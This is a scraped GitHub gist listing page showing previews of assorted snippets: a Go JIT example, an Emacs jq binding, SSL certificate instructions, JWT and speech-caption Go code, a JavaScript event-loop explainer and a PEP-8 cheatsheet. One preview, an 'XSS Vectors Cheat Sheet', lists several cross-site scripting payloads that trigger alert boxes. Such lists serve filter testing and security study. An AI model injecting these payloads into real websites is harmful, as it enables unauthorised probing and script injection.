Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View maksadbek's full-sized avatar
💭
Chilling

Maksadbek maksadbek

💭
Chilling
View GitHub Profile
@mrnugget
mrnugget / go_jit.go
Created August 17, 2018 15:18
JITting a function that writes the letter 'H' to a bytes buffer
package main
import (
"bytes"
"fmt"
"github.com/nelhage/gojit"
"github.com/nelhage/gojit/amd64"
)
@mrnugget
mrnugget / pipe_to_jq.el
Last active June 27, 2018 11:10
This binds `<leader>jq` to a command that pipes the current visual selection in evil-mode to `jq` and replaces it with the output.
;; Taken from here: https://emacs.stackexchange.com/questions/34894/how-to-execute-a-command-on-the-selection-shell-command-on-region-in-evil-mode
(defun shell-command-on-region-and-select
(start end command
&optional output-buffer replace
error-buffer display-error-buffer
region-noncontiguous-p)
"Wrapper for 'shell-command-on-region', re-selecting the output.
Useful when called with a selection, so it can be modified in-place"
(interactive)
@croxton
croxton / SSL-certs-OSX.md
Last active March 3, 2024 18:58 — forked from leevigraham/Generate ssl certificates with Subject Alt Names on OSX.md
Generate ssl certificates with Subject Alt Names

Generate ssl certificates with Subject Alt Names on OSX

Open ssl.conf in a text editor.

Edit the domain(s) listed under the [alt_names] section so that they match the local domain name you want to use for your project, e.g.

DNS.1   = my-project.dev

Additional FQDNs can be added if required:

@kurobeats
kurobeats / xss_vectors.txt
Last active April 22, 2024 21:26
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
// Copyright 2016 Google Inc. All rights reserved.
// Use of this source code is governed by the Apache 2.0
// license that can be found in the LICENSE file.
// Command caption reads an audio file and outputs the transcript for it.
package main
import (
"fmt"
"io"
@JonCole
JonCole / Redis-BestPractices-General.md
Last active April 18, 2024 07:57
Redis Best Practices

Some of the Redis best practices content has moved

This content from this markdown file has moved a new, happier home where it can serve more people. Please check it out : https://docs.microsoft.com/azure/azure-cache-for-redis/cache-best-practices.

NOTE: Client specific guidance listed below is still valid and should still be considered. I will update this document once all content has been moved.

@jesstelford
jesstelford / event-loop.md
Last active April 3, 2024 13:57
What is the JS Event Loop and Call Stack?

Regular Event Loop

This shows the execution order given JavaScript's Call Stack, Event Loop, and any asynchronous APIs provided in the JS execution environment (in this example; Web APIs in a Browser environment)


Given the code

@thealexcons
thealexcons / jwt_golang_example.go
Last active April 16, 2023 03:04
JSON Web Tokens in Go
package main
import (
"io/ioutil"
"log"
"strings"
"net/http"
"encoding/json"
"fmt"
"time"
@paulirish
paulirish / open-chrome-tabs-in-safari.scpt
Created April 4, 2016 00:24
open chrome tabs in safari
tell application "Google Chrome"
set tab_list to every tab in the front window
repeat with the_tab in tab_list
set the_url to the URL of the_tab
tell application "Safari" to open location the_url
end repeat
end tell
@RichardBronosky
RichardBronosky / pep8_cheatsheet.py
Created December 27, 2015 06:25
PEP-8 cheatsheet
#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""This module's docstring summary line.
This is a multi-line docstring. Paragraphs are separated with blank lines.
Lines conform to 79-column limit.
Module and packages names should be short, lower_case_with_underscores.
Notice that this in not PEP8-cheatsheet.py